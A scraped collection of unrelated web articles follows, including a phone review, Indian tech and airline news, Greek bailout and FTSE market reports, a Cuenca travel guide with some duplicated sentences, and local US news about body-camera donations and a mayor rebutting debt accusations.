(L-R) Daylight, Direct Fluorescent, Diffused Fluorescent, Low Light (Click to enlarge)

Images taken by the Mark 1 lack sharpness, and it loses details in low light and indoor shots. Yes, the camera can be called satisfactory, but keep in mind that you can get similar quality from phones like the LeEco Le 1s and Xiaomi Redmi Note 3, which cost nearly half of what the Creo Mark 1 does.

Battery: Not enough

The Creo Mark 1 has a 3100 mAh battery, which is quickly drained by the QHD display. That said, for regular usage, the phone should still last you for about 8 hours. For heavy users though, the battery life can be another issue with this smartphone.

Build and Design: Good looks, poor execution

All said and done, the Creo Mark 1 is still a good looking smartphone. It follows Sonys Xperia design of yore, and while its glass back is very fingerprint-intensive, the same can be said about many other glass-bodied devices. Personally, Im not really bothered by the fingerprints. What bothers me more is the build quality of the device.

The Creo Mark 1 looks good, but my unit has two very worrying flaws. First, the micro-USB port at the bottom is not aligned properly, and the Creo Mark 1 refuses to charge at times. Secondly, the SIM tray in the second slot is wobbly, which again points towards poor construction and attention to detail.

Bottomline: Marked failure

At Rs. 19,999, the Creo Mark 1s performance is weaker than the Coolpad Note 3 Lite, while its camera doesnt compare to phones like the Moto X Play and OnePlus X. Fuel OS doesnt inspire confidence, and while the phone looks good, its build quality shows lack of attention to detail. With phones like the Xiaomi Redmi Note 3, LeEco Le 1s, Lenovo K4 Note and many others already in the market, there is literally no reason to buy the Creo Mark 1, just for regular Fuel OS updates.
Motorola may launch the Moto G4 and G4 Plus on June 9, phones expected to house 5.5-inch displays and 16GB storage.

The 2016 lineup of Motorolas Moto G smartphones may be unveiled on June 9, according to a hint given out by Lenovo CEO, Yang Yuanqing. At the launch of Lenovos subsidiary lineup ZUKs second smartphone, the ZUK Z2 Pro, he stated that Motorola will be unveiling a new, exciting device on June 9. As per the latest leaks, most are speculating that the device will be the Moto G4 and G4 Plus.

The two devices have recently been leaked and spoken about, of late. Going by renders and sneaked-out photos, the Moto G4 Plus is expected to get an unconventional, tilted square-shaped home button on the front, that doubles up as a fingerprint sensor. Not much have been stated about what powers the devices, although weve heard that both the devices will house 5.5-inch displays and 16GB of internal storage. While the Moto G4 Plus is expected to feature a 16-megapixel primary camera, the standard G4 is expected to house a 13-megapixel camera. Indicative pricing has been stated to be around 240 for the Moto G4, and 280 for the G4 Plus.

While weve also caught wind of a 5-inch Motorola flagship for 2016, reportedly called the Moto X3, it is unlikely that Motorola will launch its flagship on June 9. The Moto X3 is expected to feature a 5-inch display, going against the convention of increasing screen sizes, possibly in favour of a compact form factor. Not much is known about this device either, although it is expected to be powered by Qualcomms flagship processor for 2016, the Snapdragon 820.

We are yet to receive confirmation from Motorola itself, although an India launch should occur on or around the date given out by Lenovo CEO.
BSNLs 20GB 3G data plan can be shared with four other users and current users will have to log into the companys Mobile Selfcare portal to avail the offer

BSNL is offering its users 20GB of 3G data at Rs. 50. In addition, this data can be shared with four other BSNL users residing in India. The scheme is being subsidized by the Government of India and is a part of Prime Minister Narendra Modis Digital India Scheme. In order to avail the benefits, BSNL users will have to log into the BSNL Mobiles Selfcare portal and fill in their personal details. The online form will also ask the user which four numbers they would like to share their data with.

BSNL General Manager, Ram Shabd Yadav told India.com, this scheme would end up benefitting people from lower economic strata who are not able to afford mobile internet services. It is part of governments agenda to push achieve 100 per cent internet access in the nation. The scheme would readily be availed by urban families as one internet package would be sufficient for all the users. The plan offered by BSNL might trigger other telecom providers to lower the cost of their plans. By comparison, a Vodafone, Airtel, and Idea charge Rs. 251 for 1GB of 3G data that is valid for about a month.

We are yet to get a response from BSNL for the same and will update the story.
One of Europes top-ranking economic officials sounded a positive note ahead of a meeting to discuss Greeces progress on its third bail-out programme.

However, ahead of Fridays meeting of euro area finance ministers, Eurogroup president Jeroen Dijsselbloem also told reporters not to expect any deals with Greee to be reached that same day.

His remarks came as Eurozone and International Monetary Fund officials were pouring over the details of the Mediterranean countrys latest set of public accounts, released on Thursday evening, which showed Athens had apparently managed to beat the target set out for it by Brussels.

According to Greeces Eurostat-approved figures, the countrys public deficit before paying interest on its debt  the so-called primary balance  declined to 3.4% of gross domestic product in 2015.

That estimate of the primary balance also included the cost of recapitalising Greek lenders. If that burden was stripped out then Athens in fact achieved a primary surplus worth 0.7% of GDP.

That was interpreted as some to be a much better outcome than the 2015 primary deficit target of -0.25% of GDP set by Brussels. In 2016 the goal was for a primary surplus if 0.5%.

Nevertheless, the terms of Greeces third bail-out programme did not anticipate excluding bank rescue costs when calculating the primary surplus.

Be that as it may, on Thursday evening European Commission spokeswoman Annika Breidthardt described the figures as substantially better than what was agreed.

In a similar vein, Dijsselbloem told reporters on Friday morning: I'm hearing good news from Athens, so let's see where we are.

If we make progress on the content of the programme, and the next steps, then we need to start a discussion on debt. But we're only at the beginning of that discussion. So don't expect any deals today, he added.

The Eurogroup president went on to explain Greeces euro area partners were to ask Greece to prepare a package of contingency reforms that could be implemented should the country be at risk of missing its deficit commitments.

In exchange, finance ministers were ready to begin discussing options for relieving some of the countrys debt loads although there was no appetite for reductions in the nominal value of its debts.
UK equities edged lower on Friday with mining shares leading the declines as investors weighed worse-than-expected Eurozone manufacturing data.

Rio Tinto, Anglo American, Glencore and Antofagasta were the biggest fallers on the FTSE 100 in midday trade.

It is somewhat unclear what has caused this mining-reversal; the manufacturing softness form the Eurozone may have contributed, ditto yesterdays shareholder revolt over Anglo American CEO Mark Cutifanis pay, said Connor Campbell, financial analyst at Spreadex.

Regardless of what the is the cause the sectors sluggish performance is preventing the FTSE from ending the week on the 2016 highs struck over the last couple of days.

Anglo American shareholders voted against a lucrative pay package for the companys boss Mark Cutifani on Thursday amid concerns about the decline in the miners share price in the past year as commodity prices fall.

Meanwhile, Markits purchasing managers index on Eurozone manufacturing fell to 51.5 in April from 51.6 in March, missing forecasts of 51.9. A reading above 50 signals an expansion in sector activity while a level below that indicates a contraction.

The PMI on Eurozone services also fell short of estimates, rising to 53.2 in April from 53.1 in March, instead of the 53.3 that was expected by analysts.

Elsewhere in the bloc, Greece is holding talks with international lenders on Friday in the hopes of unlocking further debt relief but eurozone officials said they are unlikely to reach an agreement yet despite making progress on reforms.

The chairman of eurozone finance ministers, Jeroen Disselbloem told reporters dont expect any deals today as discussions on debt had only just begun.

"If we make progress on the content of the programme and the next steps then we need to start the discussion on debt, he said.

Across the Atlantic, Markits US manufacturing PMI is due at 1445 BST with analysts expecting an increase to 52 in April from 51.5 in March.

In commodities, oil prices headed for a third straight week of gains as market sentiment improved.

At 1142 BST, Brent crude rose 0.22% to $44.54 per barrel and West Texas Intermediate climbed 0.23% to $43.28 per barrel.

In company news, housebuilders rallied, including Berkeley Group, Barratt Developments, Travis Perkins and Persimmon. Canaccord Genuity said in a note to investors that UK housebuilders were expected to enjoy steady volume growth going forward despite a downgrade to forecasts of 2016 construction output by Experian.

With strong order books they appear well placed to weather any short-term slowdown ahead of the Brexit vote, the broker said.

Hammerson was in the red after the property development and investment company signed a 420m unsecured revolving credit facility with eight international banks, at an initial margin of 90 basis points.

Saga gained after its main shareholder and former private equity owner Acromas sold off its last remaining shares overnight, with chairman Andrew Goodsell taking the opportunity to buy 5m of stock.

Cerillion jumped after the billing software group said full year results are anticipated to be in line with management expectations, with revenues of around 6.9m and earnings before interest, tax, depreciation and amortisation of 1.1m, an increase of 11% and 21% respectively.

Market Movers

FTSE 100 (UKX) 6,337.79 -0.68%

FTSE 250 (MCX) 16,983.16 0.02%

techMARK (TASX) 3,145.13 -0.26%

FTSE 100 - Risers

Persimmon (PSN) 1,922.00p 2.13%

Barratt Developments (BDEV) 520.50p 2.06%

Sainsbury (J) (SBRY) 294.30p 1.90%

Tesco (TSCO) 188.45p 1.86%

Berkeley Group Holdings (The) (BKG) 2,945.00p 1.83%

Ashtead Group (AHT) 906.00p 1.68%

Travis Perkins (TPK) 1,836.00p 1.66%

Whitbread (WTB) 3,934.00p 1.37%

Taylor Wimpey (TW.) 179.00p 1.24%

Morrison (Wm) Supermarkets (MRW) 192.70p 0.78%

FTSE 100 - Fallers

Anglo American (AAL) 719.50p -3.72%

Rio Tinto (RIO) 2,330.00p -3.10%

Antofagasta (ANTO) 471.20p -3.07%

Glencore (GLEN) 161.90p -2.91%

Royal Dutch Shell 'B' (RDSB) 1,808.00p -1.93%

Royal Dutch Shell 'A' (RDSA) 1,799.00p -1.83%

GKN (GKN) 294.70p -1.73%

Land Securities Group (LAND) 1,089.00p -1.71%

BP (BP.) 362.40p -1.68%

Old Mutual (OML) 195.40p -1.66%

FTSE 250 - Risers

Ted Baker (TED) 2,380.00p 4.85%

Clarkson (CKN) 2,467.00p 3.96%

Shawbrook Group (SHAW) 277.90p 3.31%

Diploma (DPLM) 754.50p 2.93%

Saga (SAGA) 207.30p 2.93%

Northgate (NTG) 412.60p 2.56%

Redrow (RDW) 377.80p 2.55%

Bellway (BWY) 2,325.00p 2.47%

Ophir Energy (OPHR) 82.20p 2.43%

QinetiQ Group (QQ.) 224.60p 2.14%

FTSE 250 - Fallers

Melrose Industries (MRO) 376.40p -3.96%

Mitchells & Butlers (MAB) 272.00p -3.85%

Amec Foster Wheeler (AMFW) 492.00p -3.15%

Weir Group (WEIR) 1,200.00p -2.99%

Petrofac Ltd. (PFC) 875.00p -2.94%

Vedanta Resources (VED) 423.80p -2.62%

Essentra (ESNT) 868.00p -2.58%

Evraz (EVR) 139.70p -2.58%

Tullow Oil (TLW) 235.30p -2.16%

Hays (HAS) 130.50p -1.95%
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This chapter of the DIY Cuenca Ecuador Landing Guide is devoted to enjoying some of what Cuenca and the surrounding area has to offer. Cuenca is a great place to be if you enjoy sight-seeing, museums, hiking, walking, and the big outdoors...and the milder weather is great for doing all of those things. Click on the links to see the videos of our excursions to these places.

1. Paraiso Parque  Paradise Park is the biggest park in Cuenca; it has walking trails, several playgrounds, river walk, and paddle boat rides on the small lake. The park is located off of Avenida Paraiso.

 Paradise Park is the biggest park in Cuenca; it has walking trails, several playgrounds, river walk, and paddle boat rides on the small lake. The park is located

2. Walk Downtown or Uptown along the River  The walk starts on Tres de Noviembre on either end, from downtown or uptown; your starting point depends on where youre already located. If downtown, start in the downtown area off of Calle Larga by the steps on Av. Tres de Noviembre. If youre uptown, start off on Avenida de Las Americas on Tres de Noviembre. Enjoyable walk along the Tomebamba River at about 2-miles! Most of it is paved with walking trail or sidewalk. It is a good way to see more areas of Cuenca. If you keep going you'll run into the Paraiso Park as both the Yanuncay and the Tomebamba converge into this huge, wonderful park.  The walk starts on Tres de Noviembre on either end, from downtown or uptown; your starting point depends on where youre already located. If downtown, start in the downtown area off ofby the steps on. If youre uptown, start off onon. Enjoyable walk along theat about 2-miles! Most of it is paved with walking trail or sidewalk. It is a good way to see more areas of Cuenca. If you keep going you'll run into the Paraiso Park as both the Yanuncay and the Tomebamba converge into this huge, wonderful park.

Avenida de las Americas, along Av. Primero de Mayo and ending at Mall Del Rio where you can then check out the many restaurants in the food court for lunch. Bring your map, not sure which street we finally cut off onto and then walked two more blocks to the mall. This walk continues all the way to Paraiso Parque if you are up to it!

3. Mall Del Rio Yanuncay River Walk  This is another wonderful 2-mile walk along the river, starting from, alongand ending at Mall Del Rio where you can then check out the many restaurants in the food court for lunch. Bring your map, not sure which street we finally cut off onto and then walked two more blocks to the mall. This walk continues all the way to Paraiso Parque if you are up to it!

4. Tutto Freddos Ice cream  Ecuador has some of the best tasting ice cream we have ever eaten! Tutto Freddos has continental desserts at Ecuadorian prices.

 Ecuador has some of the best tasting ice cream we have ever eaten! Tutto Freddos has continental desserts at Ecuadorian prices.

watch for the signs. 5. Caja National Parque  This huge park is outside of Cuenca about 45 minutes. We have recently taken the very strenuous hike up into the mountains from this park. There is a lake, camping, hiking, walking, beautiful scenery, restaurants nearby, etc; there is a wooden walkway going around the whole lake area. Taking the Alto Pista through San Joaquin gets you there;

6. Banos Mineral Springs and Spa  On the outskirts of Cuenca, about a 15 minute bus ride from Coral Centro that's located on Las Americas, is a quaint little town called Banos. Banos is right below a mountain where natural warm mineral water flows into the valley. They say that natural mineral spring water is very good for your health and bathing in these natural pools are good for joint pain, arthritis, and other physical ailments.  On the outskirts of Cuenca, about a 15 minute bus ride from Coral Centro that's located on Las Americas, is a quaint little town called Banos. Banos is right below a mountain where natural warm mineral water flows into the valley. They say that natural mineral spring water is very good for your health andare good for joint pain, arthritis, and other physical ailments.

5 cents. What I liked most about Chordelegit was about 5 degrees warmer than Cuenca and it was sunny the whole day! There are a lot of silver shops in Chordeleg where they make a lot of their own silver craft items called pedigree silver and there are some artisans shops as well.

7. Day Trip to Chordeleg  Chordeleg is a quaint, clean, neat little town about 45 minutes outside of Cuenca. There is a good Cuenca bus system that takes you there for about $0.6cents. What I liked most about Chordelegit was about 5 degrees warmer than Cuenca and it was sunny the whole day! There are a lot of silver shops in Chordeleg where theyitems called pedigree silver and there are some artisans shops as well.

8. Tour of 180 Year Old Ecuadorian Casa  All I can say is this tour was amazing! You will definitely enjoy this tour if you like old things and history. And, its only $1 per person. Simply exquisite.  All I can say is this tour was amazing! You will definitely enjoy this tour if you like old things and history. And, its only $1 per person. Simply exquisite.

9. "Traditional Festival  We believe that to experience Ecuador at its fullest you must try out new things, such as go to one of the many traditional festivals and see and hear all of the traditional music, dances, costumes, and foods of Ecuador.

Avenida Las Americas and Mexico Calle. The carnival comes to Cuenca in the month of November and this year (2015) it was there in April, but I don't recall seeing it there before in April. Uh?

10. Cuenca Carnival  Children love rides and cotton candy. Carnivals are fun for the whole family. It was fun to walk around and see all the booths displaying their crafts and arts, trying out an Ecuadorian coconut milk drink and watching other people ride on the rides! Located off ofand this year (2015) it was there in April, but I don't recall seeing it there before in April. Uh?

its water war!

11. Celebrate Carnaval  Canaval is totally different than Carnival. Carnaval is celebrated in Cuenca with water balloons, squirt guns, and buckets of waterIts during the month of February, but mostly on the days of the 18th through the 21st. Everyone does it, even the older Ecuadorians. Frank got bombed with water balloons by an elderly Ecuadorian woman. No one is immune, not even expats! Be prepared and have your balloons ready to throw at people for self defense! We mean itits serious business here in Ecuador;

Ya gotta try it, at least once, and well, if you like it, you can always have it again, and if you dont like it, well, at least you can say you tried it.

12. Try a Humita  Tasting a humita for the first time is fun in the sense that it is something new. It leaves a strange, but not bad flavor in your mouth. Youre not sure if youre eating something sweet or not. Humitas, a traditional and very old timey food has been around since the first Ecuadorian civilization.at least once, and well, if you like it, you can always have it again, and if you dont like it, well, at least you can say you tried it.

13. Cuenca City Tour  this tour is four hours and takes you all over the city of Cuenca. During the tour youll learn about the culture, history and architecture of Ecuador. It makes several stops at highlight areas such as the Inca ruins and the Old and New Cathedrals, and Flowers Park. Price is $20 per person for the full tour or $5.00 for half tours.



14. Casa de la Mujer  this craft casa has over 100 crafts stalls and makes for several hours of great shopping. So, if you like to shop this is the place to go. Products include knit sweaters from Otavalo, traditional Andean musical instruments, Panama hats, jewelry, ceramics and weavings. Located on General Torres 7-33 and Presidente Cordova.



Avenida las Americas and Remigio Crespo. But remember, only take the smallest bills, $5 and one dollar coins. Please read our safety guidelines for entering this Mercado.

15. Feria Libre Mercado - This market is now called El Arenal  When we first stepped foot in this huge market we couldnt believe our eyes. The abundance of fresh fruits and vegetables is amazing! This is a must visit Mercado, which doesnt even come close to any of the other Mercados in size. Wednesdays are the busiest because on this day they also have many more stalls with vendors selling their crafts, clothing, toys, linens, and house wares. Located off ofand. But remember, only take the smallest bills, $5 and one dollar coins. Please read our safety guidelines for entering this Mercado.

16. Free Cuenca Symphony  There is always something going on at the concert hall in old town Cuenca; whether its a musical, band, orchestra or symphony and they are all FREE concerts. Be sure to get there at least 45-minutes early or you might not get a seat. The free concerts get packed quickly. Many of the Ecuadorians dress in their formals to these concerts. You can watch the video here.

 There is always something going on at the concert hall in old town Cuenca; whether its a musical, band, orchestra or symphony and they are all FREE concerts. Be sure to get there at least 45-minutes early or you might not get a seat. The free concerts get packed quickly. Many of the Ecuadorians dress in their formals to these concerts. You can watch

17. Plaza Rotary Artisans Market - Plaza rotary is located on one square block in downtown Cuenca, not too far from the hostels on Calle Larga. Its on Mariscal Lamar & Hermano Miguel. Here you will find all kinds of custom made arts and crafts from the local people of Cuenca. There are beautifully designed rugs, pottery, beaded jewelry, furniture, leather goods, and more.



18. San Francisco Market  This market also has local artisans crafts such as handmade scarves, hats, sweaters, blankets made from llama, etc. This market is located one block west and one block south of the Main Cathedral in El Centro. A gringo had her iPad snatched here during the daylight hours. Dont bring your valuable electronics.



19. Giron (El Chorro Falls)  Giron is about 50 minutes from Cuenca; you can take a bus to Giron and then flag down a taxi to take you up the mountain to the falls. It is gorgeous there. Watch the Video

 Giron is about 50 minutes from Cuenca; you can take a bus to Giron and then flag down a taxi to take you up the mountain to the falls. It is gorgeous there.

videos right here.

20. Cuenca (big) Zoo - The Cuenca zoo is about 5 miles north on the PanAm (autopisto) Highway from El Centro. Most taxis should know how to get to the Cuenca zoo. It is a lovely zoo with lots of neat animals, however, the zoo is a continual walk up the hillside; we just want to let people know this ahead of time. If you have trouble walking or climbing stairs this zoo might not be for you. If that's the case, you can view the zoo in both of our
No power, no hot water, bedbugs at apartment towers near Downtown

Residents at the Latitude Five25 apartment towers on the Near East Side said they've had no hot water, no power at times. The city is going to court.
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A three-judge panel ruled the governor failed to account for environmental regulations meant to protect the Everglades and endangered birds that live there.



By CURT ANDERSON

AP Legal Affairs Writer

MIAMI  A massive nuclear plant expansion proposed by Florida's largest electric utility must be redone to meet environmental and other concerns near Everglades National Park, a state appeals court ruled Wednesday.

The 3rd District Court of Appeal in Miami reversed a 2014 decision by Gov. Rick Scott and the Cabinet to approve construction of two nuclear reactors by Florida Power & Light at its Turkey Point plant near Homestead. The project, costing up to $18 billion, would add about 2,200 megawatts of electric power or enough to supply 750,000 homes.





. . .
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SALT LAKE CITY (AP)  A federal appeals court on Tuesday backed a ban on snowboarders at a Utah ski resort, saying the private business has a right to remain one of the last resorts in the nation to ban the activity.

The 10th Circuit Court of Appeals made the ruling while dismissing a lawsuit filed by a group of snowboarders against Alta Ski Area outside Salt Lake City.





. . .
Singapore Airlines' no-frills arm Scoot coming

Scoot Pte, the low-cost and medium haul airline arm of Singapore Airlines Group, will start flying to and from India from 24 May, making the parent firm the largest international airline group operating in India in terms of the number of destinations.

Scoot will fly to three Indian cities - Chennai, Amritsar and Jaipur.

In a phone interview on Friday, Bharath Mahadevan, country head of Scoot, told Mint the airline will start flights from Chennai and Amritsar to Singapore on 24 May, while Jaipur-Singapore flights will start on 2 October.

Mahadevan said Chennai will have daily flights, while Amritsar will start with three times a week and will increase the frequency to four times a week from 1 July.

Jaipur will start with flights four times a week, he said.

Singapore Airlines Group also owns full service airline Silk Air and low-cost airline Tiger Air, both of which fly to India.

With Scoot's entry, Singapore Airlines Group will be present in all four spaces - premium (Singapore Airlines), full service (Silk Air), low cost (Tiger Airways) and low cost-cum-medium haul (Scoot).

However, Tiger Airways will discontinue its profitable Chennai-Singapore route to facilitate Scoot's entry into India.

''The strategy is to build the market using a smaller aircraft (Silkair and Tiger), growing the market and then operating the airlines with larger aircraft (Singapore Airlines and Scoot),'' Mahadevan said.

With this announcement, the Singapore Airlines group has 15 destinations with non-stop flights from India to Singapore, more than any other international airline, he said.

''In fact, we have more direct international flights out of India than any other Indian carrier as well except Air India Ltd,'' Mahadevan said.

India was a tough market for international airlines, especially the India-Singapore route. AirAsia X and Jetstar Asia had to discontinue Indian operations owing to losses. IndiGo, run by InterGlobe Aviation Ltd, had to realign its India-Singapore flights.

Scoot claims that it unashamedly has no frills, with fares including seat-only and charges products and services separately.

Scoot operates wide-bodied Boeing 787 planes, also known as Dreamliners.

Mahadevan said the Singapore Airlines Group is confident about Indian market, adding that the airline group operates where no other Indian or international carrier operates such as Coimbatore and Vizag.

He said Chennai-Singapore route would be profitable from day one, while Amritsar will take 6-8 months for break even and Jaipur will take at least one year.

Scoot also announced inaugural one-way promotional fares (including taxes) from Chennai, Amritsar and Jaipur starting from $64.

Besides the presence of Scoot, Tiger Airways and Silk Air in India, Singapore Airlines had floated an airline joint venture in India - TATA SIA Airlines Ltd, known by the brand name Vistara, with Tata Sons Ltd in 2015.

Tata Sons holds a majority stake of 51 per cent in the company, while Singapore Airlines holds the rest.

Vistara flies 284 times weekly to and from Indira Gandhi International airport in New Delhi.
Close on 90 blood donors from Donegal and South Leitrim gathered in the Radisson Blu Hotel, Letterkenny, on Friday night last to be presented with special pins to mark 50+ blood donations.

The special landmark occasion is held every three or four years and is an important milestone in honouring these people who give blood three or four times every year.

Chairman of the Irish Blood Transfusion Service, Professor Anthony Staines, warmly congratulated all the recipients of pins and had a word of praise for each donor as he presented them with their pin.

Professor Staines, in his address, said those receiving their awards were special people and were so important in providing a necessary ingredient for the health of the country.

He outlined how he himself had needed the service of blood transfusion when he went through a serious operation some 17 years ago.

Without you I would not be here, said Professor Staines, who went on to outline the great need for more donations, especially this summer. He asked that as well as remaining a donor, if they could encourage a friend or two to donate, then they would be doing a great service.

Also on the night, special guest Nikki Bradley from Letterkenny gave a moving address to the gathering of her health battles and her need for blood transfusions during those health issues.

Nikki, a columnist with the Donegal News, was given a standing ovation after her address in which she outlined how she was diagnosed with bone cancer when she was 16 and still a student at Loreto, Letterkenny.

Battle goes on

While now cancer free, her health battle goes on, but her outlook and enthusiasm for life is inspirational.

The donors who were presented with their pins were also presented with a photo of the presentation at the end of the night to mark the occasion.

Among the donors presented were a number of top sportsmen.
Halloween creatures  owls, crows and bats  all live at Crossroads, and that makes us very happy, for these scary animals make a positive contribution to the habitats of the preserve. We don't even mind black cats, IF they are kept indoors. Feral and outdoor cats are exceedingly harmful to wildlife ... and that's not a superstition! But to tamp down superstitions, we at Crossroads will spend the week demystifying Halloween creatures.

On October 28, 2022, at 6 p.m. will be our Evening with Owls. The Open Door Bird Sanctuary will be at Crossroads, offering a one-hour presentation followed by the opportunity to meet and greet live birds. Learn all about owls and the other incredible birds in the care of the Sanctuary!

Down through the centuries, in many cultures throughout the world, owls have been associated with evil and death. Truth is, owls probably are not smart enough to be evil. But researchers agree that owls are about as dim as the nighttime forests in which they hunt.

Owls don't need to be smart. They have everything else going for them. They are muscular. They fly silently. Their huge eyes enable them to see in the dark. Their beaks and talons are strong and wickedly sharp. But their sensitive ears are what make owls extraordinary hunters.

Most people assume that the plumicorns (a.k.a. "horns) of an owl are its ears. Not so.

The actual ears lie under feathers on the sides of the head, and they aren't symmetrical. Because one ear is higher than the other and the ears are unequal in size, sound is different from different directions, helping owls locate prey, which they do almost unfailingly, even in total darkness.

Owls do not smell their prey. As with most birds, the sense of smell is insignificant, if it exists are all. Great Horned Owls frequently prey on skunks. Enough said.

But well-developed intelligence? Researchers have observed owls beating their wings on bushes to try to flush out little birds. Is this learned behavior? Is it problem-solving?

Maybe.

For the most part, owls do not have a lot of problems to solve. They appropriate abandoned nests of other birds, so they don't need building skills. They are stealthy by nature, and they pounce on and usually catch anything they hear, so they don't need hunting techniques.

In spite of ghost stories, legends of American First People, and superstitions from Europe and India, hooting owls do not foretell impending death, although their nocturnal calls are spooky. We hear them now and then this time of year, but we will regularly hear those eerie calls at Crossroads in January or February.

In contrast to owls, crows are noisy all year round and they are amazingly intelligent. They can learn. They can remember. They can solve problems. They can even identify individual humans. And they detest owls, though whether this is innate or learned behavior is not clear.

Those curious about crows will want to attend the Crossroads Book Club on Wednesday, October 26, at 10:00 a.m. This month, the book Crow Planet, Essential Wisdom for the Urban Wilderness by Lyanda Lynn Haupt will explore the fascinating world of these remarkable birds. The program is free and open to all, whether or not they have read the book.

So bring the family to our program on owls, learn about crows at the Crossroads Book Club, or learn about bats at our pre-school Junior Nature Club on Wednesday at 10:00 a.m. or our Family Science Saturday program at 2:00 p.m. Costumes are encouraged but not required at Junior Nature Club and Science Saturday, and adult visitors are welcome.
With the growing concern of transparency on the rise, numerous law enforcement agencies and emergency services have begun investing in body cameras.

Often times, those agencies are in large cities and receive federal grants. Smaller townships and villages are left in the dark, unable to afford the new technologies, but one website is trying to change the availability of body cameras.

Through bodycameradonations.com, services may register to receive donations from the public to help purchase the cameras.

Coffee County Emergency Management Services (EMS) has joined two other Alabama agencies, Lee County Sheriffs Office and Littleville Police Department, in becoming a part of the donation pool.

Members of the public may donate to a specific agency, like Coffee County EMS, or donate to a general fund that will provide monies to various agencies that have joined the website.

Darrell Fixler, lead firefighter for Coffee County EMS, put his service on the body camera donation website and said the cameras could help in crucial moments when paramedics are on the scene of an accident.

It would help our crew members to validate situations we encounter and record and preserve critical video evidence, Fixler said. Many times as EMS were the first on the scene, and we see the scene first so evidence may be trampled or moved as we try to help patients and victims. If were wearing body cameras, we can capture critical video evidence from the moment we arrive on the scene.

Fixler also said that with the body cameras patients or patients families can have video proof of the patient refusing treatment.

Also in cases where patients refuse service and later on develop medical problems or die from their injuries, with body cameras we would have video evidence of them refusing the treatment, Fixler said.

According to the Coffee County EMS page on the website, the body camera goal is six to 15 cameras. With 15 cameras, Coffee County EMS could have a body camera for each officer.

The body cameras that would be donated through the website are WOLFCOM brand, and have options for additional equipment including headsets, night vision cameras and cameras for eye glasses that will give a first-person point of view of a situation.

In a statement on the donation website, WOLFCOM said the company decided to have this donation option after seeing the publics interest.

We were inspired to create this site by seeing so many community organizations and individuals over the years who have donated WOLFCOM body cameras to their local law enforcement, the statement said. The website is geared towards helping police departments and law enforcement agencies who see a growing need for body camera technology but have limited budgets.

Through an exclusive offer with WOLFCOM, the body cameras are priced at $275 each, which includes shipping. One hundred percent of donations are given to agencies with no hidden or administrative fees.

The camera can record and store over 18 hours of video, take over 28,000 digital photos and can record over 180 hours of audio. Video recording quality is configurable with selectable recording quality from 1080P true HD to 640x480 resolution, allowing police departments the ability to adjust the camera resolution according to their memory storage capacity.

For more information on WOLFCOM or questions about donating, visit the bodycameradonations.com. Members of the public wishing to donate may follow that site and click the donate now button and search for Coffee Count EMS.
Enterprise Mayor Kenneth Boswell on Thursday offered a detailed rebuttal to a slew of accusations made earlier this week by one of the founders of a group promoting transparency and open government.

Turner Townsend, one of the founders of Everyones Enterprise (formerly named Take Back Enterprise), questioned the citys debt, taxes and spending while serving as guest speaker at the Coffee County Republican Womens monthly meeting on Wednesday.

Using a slide show presentation, Townsend noted the city held $158 million in aggregate, or collective, debt, and said the citys debt per capita was greater than that of the national debt.

Townsend also accused city council members of covertly passing an $18,000-a-year vehicle allowance for Boswell in lieu of a politically-unpopular pay raise.

In addition, he accused city officials of hiring the investment banking firm, Frazer Lanier, to act as underwriters for municipal bonds the city issued after the 2007 tornado without a bid or request for proposal.

Townsend said the firm, which was later found in violation of Financial Industry Regulatory Authority standards, had sent Boswell and his wife on two all-expenses-paid, luxury trips to New York City  trips that Townsend said had initially been paid for by tax payers.

In response, Boswell held a news conference on Thursday morning, offering reporters a stack of official records, letters and financial data that refuted Townsends accusations.

Boswell said all citizens had always been welcome to the records. City officials have never denied any requests for records, he said.

We take our jobs as elected officials, as appointed people, very seriously, Boswell said. This is the business of the people. Were responsible for not only todays needs of the city, but the (future) needs of the city. And that means tomorrow and the next day. But most importantly, we are very responsible for 30 years from now, and we do take that very seriously.

City debt

Boswell said comparing the national debt to the citys debt was not a fair comparison. Unlike the national debt, the citys debt included sources for paying it back, he said.

(With) the national debt, theyre having problems with dedicated sources to pay back, he said. In the citys situation, we have a dedicated source. An example would be our schools. We passed a half-cent sales tax to pay for the original high school and Hillcrest Elementary.

Another half-cent sales tax was passed last year to build a new junior high school, safety entrances at the schools that did not have them, storm shelters at the schools and other capital projects.

The city has already spent $50 million on schools, and still owes a little more than $44 million. The one-cent sales tax is what pays for and will continue to pay for the school debt, he said.

The city also owes nearly $31 million in water and sewer improvements, which are being repaid through an increase in sewer rates. Boswell said the increase has been for repair and to replace the old and dilapidated infrastructure his administration had inherited, as well as to build new infrastructure, including three new wells, to encourage economic development.

Other city debt includes: $1.3 million in renovations to hangars at the Enterprise Municipal Airport, which is being paid for through hangar rentals; $5.5 million to HSAA and Arista, which is paid for on a quarterly basis through agreements in place with those companies; $2.5 million for police cars, public works equipment and other departmental needs, which is paid off through quarterly payments from the citys general fund; and $23.1 million for resurfacing, fire stations, the Farmers Market, City Hall and other projects are being funded by the 1-cent sales tax, the sewer fund and the economic development fund.

Vehicle allowance

Boswell presented several pages of city council and Compensation Review Committee meeting minutes from 2006 and 2008 as evidence that his car allowance had been conducted in a public forum.

Minutes from a Dec. 8, 2006, Compensation Review Committee meeting showed that Jackie Thompson had recommended the mayors salary be raised from $70,000 to $95,000 per year, which is to be divided equally between the citys budget and the Water Board budget.

During that meeting, Thompson also recommended the mayors car allowance be increased to $1,000 per month.

All members of the committee agreed to the increases, but neither of them were eligible to go into effect until the beginning of the next council term in 2008, according to the meeting notes.

Another meeting of the Compensation Committee in February 2007 noted that the mayors increase in salary was recommended in recognition of the necessity for a full-time commitment to the office.

The mayors car allowance was later increased to $1,500 per month based on a recommendation from City Clerk/Treasurer Steve Hicks, who had researched transportation usage costs from the Consumer Price Index for All Urban Consumers.

In addition, Townsend had said the city council had passed an employee vehicle policy after a long closed session meeting that had the effect of sending everyone home.

When the public meeting reconvened, the policy was passed with no members of the public or the media present. The policy, he said, gave the mayor the use of a city car, in addition to his personal car allowance.

Townsend said there was no video or audio of the meeting and that obscure minutes made it impossible to discern what was actually discussed.

Boswell presented a copy of the citys vehicle policy, which is designated to the following city employees  the mayor, the police chief and other designated sworn police officers and the fire chief.

The policy says the mayor is declared the only control official for the city and on a stand-by status, is assigned a vehicle on a full-time basis and is authorized to use the assigned vehicle for personal use. The policy also states that the mayor receive a $1,500 per-month expense reimbursement for use of his or her personal vehicle, which amount the city council has determined is in direct proportion to the actual expense associated with use of said vehicle for travel related to his official duties.

Boswell said the policy was passed in an open session and nothing illegal had transpired.

Frazer Lanier

